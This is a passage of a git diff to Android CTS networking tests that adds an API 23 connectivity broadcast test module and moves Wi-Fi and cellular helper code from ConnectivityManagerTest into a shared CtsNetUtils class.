+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsNetApi23TestCases",
+    defaults: ["cts_defaults"],
+
+    // Include both the 32 and 64 bit versions
+    compile_multilib: "both",
+
+    libs: [
+        "android.test.base.stubs",
+    ],
+
+    srcs: [
+        "src/**/*.java",
+        "src/**/*.kt",
+    ],
+
+    static_libs: [
+        "core-tests-support",
+        "compatibility-device-util-axt",
+        "cts-net-utils",
+        "ctstestrunner-axt",
+        "ctstestserver",
+        "mockwebserver",
+        "junit",
+        "junit-params",
+        "truth-prebuilt",
+    ],
+
+    platform_apis: true,
+
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+
+}
diff --git a/tests/tests/net/api23Test/AndroidManifest.xml b/tests/tests/net/api23Test/AndroidManifest.xml
new file mode 100644
index 0000000..8af87f6
--- /dev/null
+++ b/tests/tests/net/api23Test/AndroidManifest.xml
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.net.cts.api23test">
+
+    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
+    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
+    <uses-permission android:name="android.permission.INTERNET" />
+
+    <application android:usesCleartextTraffic="true">
+        <uses-library android:name="android.test.runner" />
+
+        <receiver android:name=".ConnectivityReceiver">
+            <intent-filter>
+                <action android:name="android.net.conn.CONNECTIVITY_CHANGE" />
+            </intent-filter>
+        </receiver>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.net.cts.api23test"
+                     android:label="CTS tests of android.net">
+        <meta-data android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+</manifest>
+
diff --git a/tests/tests/net/api23Test/AndroidTest.xml b/tests/tests/net/api23Test/AndroidTest.xml
new file mode 100644
index 0000000..21f28fc
--- /dev/null
+++ b/tests/tests/net/api23Test/AndroidTest.xml
@@ -0,0 +1,30 @@
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Net API23 test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="networking" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="not-shardable" value="true" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsNetApi23TestCases.apk" />
+        <option name="test-file-name" value="CtsNetTestAppForApi23.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.net.cts.api23test" />
+        <option name="hidden-api-checks" value="false" />
+    </test>
+</configuration>
diff --git a/tests/tests/net/api23Test/src/android/net/cts/api23test/ConnectivityManagerApi23Test.java b/tests/tests/net/api23Test/src/android/net/cts/api23test/ConnectivityManagerApi23Test.java
new file mode 100644
index 0000000..cdb66e3
--- /dev/null
+++ b/tests/tests/net/api23Test/src/android/net/cts/api23test/ConnectivityManagerApi23Test.java
@@ -0,0 +1,132 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.cts.api23test;
+
+import static android.content.pm.PackageManager.FEATURE_WIFI;
+
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.PackageManager;
+import android.net.ConnectivityManager;
+import android.net.cts.util.CtsNetUtils;
+import android.os.Looper;
+import android.test.AndroidTestCase;
+import android.util.Log;
+
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+public class ConnectivityManagerApi23Test extends AndroidTestCase {
+    private static final String TAG = ConnectivityManagerApi23Test.class.getSimpleName();
+    private static final int SEND_BROADCAST_TIMEOUT = 30000;
+    // Intent string to get the number of wifi CONNECTIVITY_ACTION callbacks the test app has seen
+    public static final String GET_WIFI_CONNECTIVITY_ACTION_COUNT =
+            "android.net.cts.appForApi23.getWifiConnectivityActionCount";
+    // Action sent to ConnectivityActionReceiver when a network callback is sent via PendingIntent.
+
+    private Context mContext;
+    private PackageManager mPackageManager;
+    private CtsNetUtils mCtsNetUtils;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        Looper.prepare();
+        mContext = getContext();
+        mPackageManager = mContext.getPackageManager();
+        mCtsNetUtils = new CtsNetUtils(mContext);
+    }
+
+    /**
+     * Tests reporting of connectivity changed.
+     */
+    public void testConnectivityChanged_manifestRequestOnly_shouldNotReceiveIntent() {
+        if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
+            Log.i(TAG, "testConnectivityChanged_manifestRequestOnly_shouldNotReceiveIntent cannot execute unless device supports WiFi");
+            return;
+        }
+        ConnectivityReceiver.prepare();
+
+        mCtsNetUtils.toggleWifi();
+
+        // The connectivity broadcast has been sent; push through a terminal broadcast
+        // to wait for in the receive to confirm it didn't see the connectivity change.
+        Intent finalIntent = new Intent(ConnectivityReceiver.FINAL_ACTION);
+        finalIntent.setClass(mContext, ConnectivityReceiver.class);
+        mContext.sendBroadcast(finalIntent);
+        assertFalse(ConnectivityReceiver.waitForBroadcast());
+    }
+
+    public void testConnectivityChanged_manifestRequestOnlyPreN_shouldReceiveIntent()
+            throws InterruptedException {
+        if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
+            Log.i(TAG, "testConnectivityChanged_manifestRequestOnlyPreN_shouldReceiveIntent cannot"
+                    + "execute unless device supports WiFi");
+            return;
+        }
+        mContext.startActivity(new Intent()
+                .setComponent(new ComponentName("android.net.cts.appForApi23",
+                        "android.net.cts.appForApi23.ConnectivityListeningActivity"))
+                .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
+        Thread.sleep(200);
+
+        mCtsNetUtils.toggleWifi();
+
+        Intent getConnectivityCount = new Intent(GET_WIFI_CONNECTIVITY_ACTION_COUNT);
+        assertEquals(2, sendOrderedBroadcastAndReturnResultCode(
+                getConnectivityCount, SEND_BROADCAST_TIMEOUT));
+    }
+
+    public void testConnectivityChanged_whenRegistered_shouldReceiveIntent() {
+        if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
+            Log.i(TAG, "testConnectivityChanged_whenRegistered_shouldReceiveIntent cannot execute unless device supports WiFi");
+            return;
+        }
+        ConnectivityReceiver.prepare();
+        ConnectivityReceiver receiver = new ConnectivityReceiver();
+        IntentFilter filter = new IntentFilter();
+        filter.addAction(ConnectivityManager.CONNECTIVITY_ACTION);
+        mContext.registerReceiver(receiver, filter);
+
+        mCtsNetUtils.toggleWifi();
+        Intent finalIntent = new Intent(ConnectivityReceiver.FINAL_ACTION);
+        finalIntent.setClass(mContext, ConnectivityReceiver.class);
+        mContext.sendBroadcast(finalIntent);
+
+        assertTrue(ConnectivityReceiver.waitForBroadcast());
+    }
+
+    private int sendOrderedBroadcastAndReturnResultCode(
+            Intent intent, int timeoutMs) throws InterruptedException {
+        final LinkedBlockingQueue<Integer> result = new LinkedBlockingQueue<>(1);
+        mContext.sendOrderedBroadcast(intent, null, new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                result.offer(getResultCode());
+            }
+        }, null, 0, null, null);
+
+        Integer resultCode = result.poll(timeoutMs, TimeUnit.MILLISECONDS);
+        assertNotNull("Timed out (more than " + timeoutMs +
+                " milliseconds) waiting for result code for broadcast", resultCode);
+        return resultCode;
+    }
+
+}
\ No newline at end of file
diff --git a/tests/tests/net/src/android/net/cts/ConnectivityReceiver.java b/tests/tests/net/api23Test/src/android/net/cts/api23test/ConnectivityReceiver.java
similarity index 98%
rename from tests/tests/net/src/android/net/cts/ConnectivityReceiver.java
rename to tests/tests/net/api23Test/src/android/net/cts/api23test/ConnectivityReceiver.java
index 6a7b4a0..9d2b8ad 100644
--- a/tests/tests/net/src/android/net/cts/ConnectivityReceiver.java
+++ b/tests/tests/net/api23Test/src/android/net/cts/api23test/ConnectivityReceiver.java
@@ -14,7 +14,7 @@
  * limitations under the License.
  */
 
-package android.net.cts;
+package android.net.cts.api23test;
 
 import android.content.BroadcastReceiver;
 import android.content.Context;
diff --git a/tests/tests/net/src/android/net/cts/AirplaneModeTest.java b/tests/tests/net/src/android/net/cts/AirplaneModeTest.java
index 0a3146c..524e549 100644
--- a/tests/tests/net/src/android/net/cts/AirplaneModeTest.java
+++ b/tests/tests/net/src/android/net/cts/AirplaneModeTest.java
@@ -18,13 +18,14 @@
 
 import android.content.ContentResolver;
 import android.content.Context;
-import android.content.pm.PackageManager;
+import android.platform.test.annotations.AppModeFull;
 import android.provider.Settings;
 import android.test.AndroidTestCase;
 import android.util.Log;
 
 import java.lang.Thread;
 
+@AppModeFull(reason = "WRITE_SECURE_SETTINGS permission can't be granted to instant apps")
 public class AirplaneModeTest extends AndroidTestCase {
     private static final String TAG = "AirplaneModeTest";
     private static final String FEATURE_BLUETOOTH = "android.hardware.bluetooth";
diff --git a/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java b/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
index 4180ea4..e9deec9 100644
--- a/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
+++ b/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
@@ -21,8 +21,12 @@
 import static android.net.NetworkCapabilities.NET_CAPABILITY_IMS;
 import static android.net.NetworkCapabilities.NET_CAPABILITY_INTERNET;
 import static android.net.NetworkCapabilities.NET_CAPABILITY_NOT_METERED;
-import static android.net.NetworkCapabilities.TRANSPORT_CELLULAR;
 import static android.net.NetworkCapabilities.TRANSPORT_WIFI;
+import static android.net.cts.util.CtsNetUtils.ConnectivityActionReceiver;
+import static android.net.cts.util.CtsNetUtils.HTTP_PORT;
+import static android.net.cts.util.CtsNetUtils.NETWORK_CALLBACK_ACTION;
+import static android.net.cts.util.CtsNetUtils.TEST_HOST;
+import static android.net.cts.util.CtsNetUtils.TestNetworkCallback;
 import static android.os.MessageQueue.OnFileDescriptorEventListener.EVENT_INPUT;
 import static android.provider.Settings.Global.NETWORK_METERED_MULTIPATH_PREFERENCE;
 import static android.system.OsConstants.AF_INET;
@@ -31,11 +35,10 @@
 
 import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
 
+import android.annotation.NonNull;
 import android.app.Instrumentation;
 import android.app.PendingIntent;
 import android.app.UiAutomation;
-import android.content.BroadcastReceiver;
-import android.content.ComponentName;
 import android.content.ContentResolver;
 import android.content.Context;
 import android.content.Intent;
@@ -43,6 +46,8 @@
 import android.content.pm.PackageManager;
 import android.net.ConnectivityManager;
 import android.net.ConnectivityManager.NetworkCallback;
+import android.net.IpSecManager;
+import android.net.IpSecManager.UdpEncapsulationSocket;
 import android.net.LinkProperties;
 import android.net.Network;
 import android.net.NetworkCapabilities;
@@ -52,17 +57,21 @@
 import android.net.NetworkInfo.State;
 import android.net.NetworkRequest;
 import android.net.SocketKeepalive;
+import android.net.cts.util.CtsNetUtils;
+import android.net.util.KeepaliveUtils;
 import android.net.wifi.WifiManager;
+import android.os.Build;
 import android.os.Looper;
 import android.os.MessageQueue;
 import android.os.SystemClock;
 import android.os.SystemProperties;
+import android.os.VintfRuntimeInfo;
+import android.platform.test.annotations.AppModeFull;
 import android.provider.Settings;
-import android.system.Os;
-import android.system.OsConstants;
 import android.test.AndroidTestCase;
 import android.text.TextUtils;
 import android.util.Log;
+import android.util.Pair;
 
 import androidx.test.InstrumentationRegistry;
 
@@ -85,12 +94,14 @@
 import java.net.URL;
 import java.net.UnknownHostException;
 import java.nio.charset.StandardCharsets;
+import java.util.ArrayList;
 import java.util.Collection;
 import java.util.HashMap;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.Executor;
 import java.util.concurrent.LinkedBlockingQueue;
 import java.util.concurrent.TimeUnit;
+import java.util.function.Supplier;
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
 
@@ -98,39 +109,26 @@
 
     private static final String TAG = ConnectivityManagerTest.class.getSimpleName();
 
-    private static final String FEATURE_ENABLE_HIPRI = "enableHIPRI";
-
     public static final int TYPE_MOBILE = ConnectivityManager.TYPE_MOBILE;
     public static final int TYPE_WIFI = ConnectivityManager.TYPE_WIFI;
 
     private static final int HOST_ADDRESS = 0x7f000001;// represent ip 127.0.0.1
-    private static final String TEST_HOST = "connectivitycheck.gstatic.com";
-    private static final int SOCKET_TIMEOUT_MS = 2000;
     private static final int CONNECT_TIMEOUT_MS = 2000;
     private static final int KEEPALIVE_CALLBACK_TIMEOUT_MS = 2000;
     private static final int KEEPALIVE_SOCKET_TIMEOUT_MS = 5000;
-    private static final int SEND_BROADCAST_TIMEOUT = 30000;
+    private static final int INTERVAL_KEEPALIVE_RETRY_MS = 500;
+    private static final int MAX_KEEPALIVE_RETRY_COUNT = 3;
     private static final int MIN_KEEPALIVE_INTERVAL = 10;
     private static final int NETWORK_CHANGE_METEREDNESS_TIMEOUT = 5000;
     private static final int NUM_TRIES_MULTIPATH_PREF_CHECK = 20;
     private static final long INTERVAL_MULTIPATH_PREF_CHECK_MS = 500;
-    private static final int HTTP_PORT = 80;
-    private static final String HTTP_REQUEST =
-            "GET /generate_204 HTTP/1.0\r\n" +
-            "Host: " + TEST_HOST + "\r\n" +
-            "Connection: keep-alive\r\n\r\n";
-
-    // Action sent to ConnectivityActionReceiver when a network callback is sent via PendingIntent.
-    private static final String NETWORK_CALLBACK_ACTION =
-            "ConnectivityManagerTest.NetworkCallbackAction";
-
-    // Intent string to get the number of wifi CONNECTIVITY_ACTION callbacks the test app has seen
-    public static final String GET_WIFI_CONNECTIVITY_ACTION_COUNT =
-            "android.net.cts.appForApi23.getWifiConnectivityActionCount";
-
     // device could have only one interface: data, wifi.
     private static final int MIN_NUM_NETWORK_TYPES = 1;
 
+    // Minimum supported keepalive counts for wifi and cellular.
+    public static final int MIN_SUPPORTED_CELLULAR_KEEPALIVE_COUNT = 1;
+    public static final int MIN_SUPPORTED_WIFI_KEEPALIVE_COUNT = 3;
+
     private Context mContext;
     private Instrumentation mInstrumentation;
     private ConnectivityManager mCm;
@@ -139,8 +137,8 @@
     private final HashMap<Integer, NetworkConfig> mNetworks =
             new HashMap<Integer, NetworkConfig>();
     boolean mWifiConnectAttempted;
-    private TestNetworkCallback mCellNetworkCallback;
     private UiAutomation mUiAutomation;
+    private CtsNetUtils mCtsNetUtils;
     private boolean mShellPermissionIdentityAdopted;
 
     @Override
@@ -152,6 +150,7 @@
         mCm = (ConnectivityManager) mContext.getSystemService(Context.CONNECTIVITY_SERVICE);
         mWifiManager = (WifiManager) mContext.getSystemService(Context.WIFI_SERVICE);
         mPackageManager = mContext.getPackageManager();
+        mCtsNetUtils = new CtsNetUtils(mContext);
         mWifiConnectAttempted = false;
 
         // Get com.android.internal.R.array.networkAttributes
@@ -176,10 +175,10 @@
     protected void tearDown() throws Exception {
         // Return WiFi to its original disabled state after tests that explicitly connect.
         if (mWifiConnectAttempted) {
-            disconnectFromWifi(null);
+            mCtsNetUtils.disconnectFromWifi(null);
         }
-        if (cellConnectAttempted()) {
-            disconnectFromCell();
+        if (mCtsNetUtils.cellConnectAttempted()) {
+            mCtsNetUtils.disconnectFromCell();
         }
         dropShellPermissionIdentity();
         super.tearDown();
@@ -192,10 +191,10 @@
      */
     private Network ensureWifiConnected() {
         if (mWifiManager.isWifiEnabled()) {
-            return getWifiNetwork();
+            return mCtsNetUtils.getWifiNetwork();
         }
         mWifiConnectAttempted = true;
-        return connectToWifi();
+        return mCtsNetUtils.connectToWifi();
     }
 
     public void testIsNetworkTypeValid() {
@@ -293,6 +292,7 @@
      * Tests that connections can be opened on WiFi and cellphone networks,
      * and that they are made from different IP addresses.
      */
+    @AppModeFull(reason = "Cannot get WifiManager in instant app mode")
     public void testOpenConnection() throws Exception {
         boolean canRunTest = mPackageManager.hasSystemFeature(FEATURE_WIFI)
                 && mPackageManager.hasSystemFeature(FEATURE_TELEPHONY);
@@ -302,8 +302,8 @@
             return;
         }
 
-        Network wifiNetwork = connectToWifi();
-        Network cellNetwork = connectToCell();
+        Network wifiNetwork = mCtsNetUtils.connectToWifi();
+        Network cellNetwork = mCtsNetUtils.connectToCell();
         // This server returns the requestor's IP address as the response body.
         URL url = new URL("http://google-ipv6test.appspot.com/ip.js?fmt=text");
         String wifiAddressString = httpGet(wifiNetwork, url);
@@ -321,33 +321,6 @@
         assertFalse("Unexpectedly equal: " + wifiNetwork, wifiNetwork.equals(cellNetwork));
     }
 
-    private Network connectToCell() throws InterruptedException {
-        if (cellConnectAttempted()) {
-            throw new IllegalStateException("Already connected");
-        }
-        NetworkRequest cellRequest = new NetworkRequest.Builder()
-                .addTransportType(TRANSPORT_CELLULAR)
-                .addCapability(NET_CAPABILITY_INTERNET)
-                .build();
-        mCellNetworkCallback = new TestNetworkCallback();
-        mCm.requestNetwork(cellRequest, mCellNetworkCallback);
-        final Network cellNetwork = mCellNetworkCallback.waitForAvailable();
-        assertNotNull("Cell network not available within timeout", cellNetwork);
-        return cellNetwork;
-    }
-
-    private boolean cellConnectAttempted() {
-        return mCellNetworkCallback != null;
-    }
-
-    private void disconnectFromCell() {
-        if (!cellConnectAttempted()) {
-            throw new IllegalStateException("Cell connection not attempted");
-        }
-        mCm.unregisterNetworkCallback(mCellNetworkCallback);
-        mCellNetworkCallback = null;
-    }
-
     /**
      * Performs a HTTP GET to the specified URL on the specified Network, and returns
      * the response body decoded as UTF-8.
@@ -455,6 +428,7 @@
      * WiFi. We could add a version that uses the telephony data connection but it's not clear
      * that it would increase test coverage by much (how many devices have 3G radio but not Wifi?).
      */
+    @AppModeFull(reason = "Cannot get WifiManager in instant app mode")
     public void testRegisterNetworkCallback() {
         if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
             Log.i(TAG, "testRegisterNetworkCallback cannot execute unless device supports WiFi");
@@ -495,6 +469,7 @@
      * {@link #testRegisterNetworkCallback} except that a {@code PendingIntent} is used instead
      * of a {@code NetworkCallback}.
      */
+    @AppModeFull(reason = "Cannot get WifiManager in instant app mode")
     public void testRegisterNetworkCallback_withPendingIntent() {
         if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
             Log.i(TAG, "testRegisterNetworkCallback cannot execute unless device supports WiFi");
@@ -507,7 +482,7 @@
         filter.addAction(NETWORK_CALLBACK_ACTION);
 
         ConnectivityActionReceiver receiver = new ConnectivityActionReceiver(
-                ConnectivityManager.TYPE_WIFI, NetworkInfo.State.CONNECTED);
+                mCm, ConnectivityManager.TYPE_WIFI, NetworkInfo.State.CONNECTED);
         mContext.registerReceiver(receiver, filter);
 
         // Create a broadcast PendingIntent for NETWORK_CALLBACK_ACTION.
@@ -539,6 +514,7 @@
      * Exercises the requestNetwork with NetworkCallback API. This checks to
      * see if we get a callback for an INTERNET request.
      */
+    @AppModeFull(reason = "CHANGE_NETWORK_STATE permission can't be granted to instant apps")
     public void testRequestNetworkCallback() {
         final TestNetworkCallback callback = new TestNetworkCallback();
         mCm.requestNetwork(new NetworkRequest.Builder()
@@ -561,10 +537,11 @@
      * Exercises the requestNetwork with NetworkCallback API with timeout - expected to
      * fail. Use WIFI and switch Wi-Fi off.
      */
+    @AppModeFull(reason = "Cannot get WifiManager in instant app mode")
     public void testRequestNetworkCallback_onUnavailable() {
         final boolean previousWifiEnabledState = mWifiManager.isWifiEnabled();
         if (previousWifiEnabledState) {
-            disconnectFromWifi(null);
+            mCtsNetUtils.disconnectFromWifi(null);
         }
 
         final TestNetworkCallback callback = new TestNetworkCallback();
@@ -581,323 +558,23 @@
         } finally {
             mCm.unregisterNetworkCallback(callback);
             if (previousWifiEnabledState) {
-                connectToWifi();
+                mCtsNetUtils.connectToWifi();
             }
         }
     }
 
-    /**
-     * Tests reporting of connectivity changed.
-     */
-    public void testConnectivityChanged_manifestRequestOnly_shouldNotReceiveIntent() {
-        if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
-            Log.i(TAG, "testConnectivityChanged_manifestRequestOnly_shouldNotReceiveIntent cannot execute unless device supports WiFi");
-            return;
-        }
-        ConnectivityReceiver.prepare();
-
-        toggleWifi();
-
-        // The connectivity broadcast has been sent; push through a terminal broadcast
-        // to wait for in the receive to confirm it didn't see the connectivity change.
-        Intent finalIntent = new Intent(ConnectivityReceiver.FINAL_ACTION);
-        finalIntent.setClass(mContext, ConnectivityReceiver.class);
-        mContext.sendBroadcast(finalIntent);
-        assertFalse(ConnectivityReceiver.waitForBroadcast());
-    }
-
-    public void testConnectivityChanged_whenRegistered_shouldReceiveIntent() {
-        if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
-            Log.i(TAG, "testConnectivityChanged_whenRegistered_shouldReceiveIntent cannot execute unless device supports WiFi");
-            return;
-        }
-        ConnectivityReceiver.prepare();
-        ConnectivityReceiver receiver = new ConnectivityReceiver();
-        IntentFilter filter = new IntentFilter();
-        filter.addAction(ConnectivityManager.CONNECTIVITY_ACTION);
-        mContext.registerReceiver(receiver, filter);
-
-        toggleWifi();
-        Intent finalIntent = new Intent(ConnectivityReceiver.FINAL_ACTION);
-        finalIntent.setClass(mContext, ConnectivityReceiver.class);
-        mContext.sendBroadcast(finalIntent);
-
-        assertTrue(ConnectivityReceiver.waitForBroadcast());
-    }
-
-    public void testConnectivityChanged_manifestRequestOnlyPreN_shouldReceiveIntent()
-            throws InterruptedException {
-        if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
-            Log.i(TAG, "testConnectivityChanged_manifestRequestOnlyPreN_shouldReceiveIntent cannot execute unless device supports WiFi");
-            return;
-        }
-        mContext.startActivity(new Intent()
-                .setComponent(new ComponentName("android.net.cts.appForApi23",
-                        "android.net.cts.appForApi23.ConnectivityListeningActivity"))
-                .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
-        Thread.sleep(200);
-
-        toggleWifi();
-
-        Intent getConnectivityCount = new Intent(GET_WIFI_CONNECTIVITY_ACTION_COUNT);
-        assertEquals(2, sendOrderedBroadcastAndReturnResultCode(
-                getConnectivityCount, SEND_BROADCAST_TIMEOUT));
-    }
-
-    private int sendOrderedBroadcastAndReturnResultCode(
-            Intent intent, int timeoutMs) throws InterruptedException {
-        final LinkedBlockingQueue<Integer> result = new LinkedBlockingQueue<>(1);
-        mContext.sendOrderedBroadcast(intent, null, new BroadcastReceiver() {
-            @Override
-            public void onReceive(Context context, Intent intent) {
-                result.offer(getResultCode());
-            }
-        }, null, 0, null, null);
-
-        Integer resultCode = result.poll(timeoutMs, TimeUnit.MILLISECONDS);
-        assertNotNull("Timed out (more than " + timeoutMs +
-                " milliseconds) waiting for result code for broadcast", resultCode);
-        return resultCode;
-    }
-
-    // Toggle WiFi twice, leaving it in the state it started in
-    private void toggleWifi() {
-        if (mWifiManager.isWifiEnabled()) {
-            Network wifiNetwork = getWifiNetwork();
-            disconnectFromWifi(wifiNetwork);
-            connectToWifi();
-        } else {
-            connectToWifi();
-            Network wifiNetwork = getWifiNetwork();
-            disconnectFromWifi(wifiNetwork);
-        }
-    }
-
-    /** Enable WiFi and wait for it to become connected to a network. */
-    private Network connectToWifi() {
-        final TestNetworkCallback callback = new TestNetworkCallback();
-        mCm.registerNetworkCallback(makeWifiNetworkRequest(), callback);
-        Network wifiNetwork = null;
-
-        ConnectivityActionReceiver receiver = new ConnectivityActionReceiver(
-                ConnectivityManager.TYPE_WIFI, NetworkInfo.State.CONNECTED);
-        IntentFilter filter = new IntentFilter();
-        filter.addAction(ConnectivityManager.CONNECTIVITY_ACTION);
-        mContext.registerReceiver(receiver, filter);
-
-        boolean connected = false;
-        try {
-            assertTrue(mWifiManager.setWifiEnabled(true));
-            // Ensure we get both an onAvailable callback and a CONNECTIVITY_ACTION.
-            wifiNetwork = callback.waitForAvailable();
-            assertNotNull(wifiNetwork);
-            connected = receiver.waitForState();
-        } catch (InterruptedException ex) {
-            fail("connectToWifi was interrupted");
-        } finally {
-            mCm.unregisterNetworkCallback(callback);
-            mContext.unregisterReceiver(receiver);
-        }
-
-        assertTrue("Wifi must be configured to connect to an access point for this test.",
-                connected);
-        return wifiNetwork;
-    }
-
-    private Socket getBoundSocket(Network network, String host, int port) throws IOException {
-        InetSocketAddress addr = new InetSocketAddress(host, port);
-        Socket s = network.getSocketFactory().createSocket();
-        try {
-            s.setSoTimeout(SOCKET_TIMEOUT_MS);
-            s.connect(addr, SOCKET_TIMEOUT_MS);
-        } catch (IOException e) {
-            s.close();
-            throw e;
-        }
-        return s;
-    }
-
-    private void testHttpRequest(Socket s) throws IOException {
-        OutputStream out = s.getOutputStream();
-        InputStream in = s.getInputStream();
-
-        final byte[] requestBytes = HTTP_REQUEST.getBytes("UTF-8");
-        byte[] responseBytes = new byte[4096];
-        out.write(requestBytes);
-        in.read(responseBytes);
-        assertTrue(new String(responseBytes, "UTF-8").startsWith("HTTP/1.0 204 No Content\r\n"));
-    }
-
-    /** Disable WiFi and wait for it to become disconnected from the network. */
-    private void disconnectFromWifi(Network wifiNetworkToCheck) {
-        final TestNetworkCallback callback = new TestNetworkCallback();
-        mCm.registerNetworkCallback(makeWifiNetworkRequest(), callback);
-        Network lostWifiNetwork = null;
-
-        ConnectivityActionReceiver receiver = new ConnectivityActionReceiver(
-                ConnectivityManager.TYPE_WIFI, NetworkInfo.State.DISCONNECTED);
-        IntentFilter filter = new IntentFilter();
-        filter.addAction(ConnectivityManager.CONNECTIVITY_ACTION);
-        mContext.registerReceiver(receiver, filter);
-
-        // Assert that we can establish a TCP connection on wifi.
-        Socket wifiBoundSocket = null;
-        if (wifiNetworkToCheck != null) {
-            try {
-                wifiBoundSocket = getBoundSocket(wifiNetworkToCheck, TEST_HOST, HTTP_PORT);
-                testHttpRequest(wifiBoundSocket);
-            } catch (IOException e) {
-                fail("HTTP request before wifi disconnected failed with: " + e);
+    private InetAddress getFirstV4Address(Network network) {
+        LinkProperties linkProperties = mCm.getLinkProperties(network);
+        for (InetAddress address : linkProperties.getAddresses()) {
+            if (address instanceof Inet4Address) {
+                return address;
             }
         }
-
-        boolean disconnected = false;
-        try {
-            assertTrue(mWifiManager.setWifiEnabled(false));
-            // Ensure we get both an onLost callback and a CONNECTIVITY_ACTION.
-            lostWifiNetwork = callback.waitForLost();
-            assertNotNull(lostWifiNetwork);
-            disconnected = receiver.waitForState();
-        } catch (InterruptedException ex) {
-            fail("disconnectFromWifi was interrupted");
-        } finally {
-            mCm.unregisterNetworkCallback(callback);
-            mContext.unregisterReceiver(receiver);
-        }
-
-        assertTrue("Wifi failed to reach DISCONNECTED state.", disconnected);
-
-        // Check that the socket is closed when wifi disconnects.
-        if (wifiBoundSocket != null) {
-            try {
-                testHttpRequest(wifiBoundSocket);
-                fail("HTTP request should not succeed after wifi disconnects");
-            } catch (IOException expected) {
-                assertEquals(Os.strerror(OsConstants.ECONNABORTED), expected.getMessage());
-            }
-        }
-    }
-
-    /**
-     * Receiver that captures the last connectivity change's network type and state. Recognizes
-     * both {@code CONNECTIVITY_ACTION} and {@code NETWORK_CALLBACK_ACTION} intents.
-     */
-    private class ConnectivityActionReceiver extends BroadcastReceiver {
-
-        private final CountDownLatch mReceiveLatch = new CountDownLatch(1);
-
-        private final int mNetworkType;
-        private final NetworkInfo.State mNetState;
-
-        ConnectivityActionReceiver(int networkType, NetworkInfo.State netState) {
-            mNetworkType = networkType;
-            mNetState = netState;
-        }
-
-        public void onReceive(Context context, Intent intent) {
-            String action = intent.getAction();
-            NetworkInfo networkInfo = null;
-
-            // When receiving ConnectivityManager.CONNECTIVITY_ACTION, the NetworkInfo parcelable
-            // is stored in EXTRA_NETWORK_INFO. With a NETWORK_CALLBACK_ACTION, the Network is
-            // sent in EXTRA_NETWORK and we need to ask the ConnectivityManager for the NetworkInfo.
-            if (ConnectivityManager.CONNECTIVITY_ACTION.equals(action)) {
-                networkInfo = intent.getExtras()
-                        .getParcelable(ConnectivityManager.EXTRA_NETWORK_INFO);
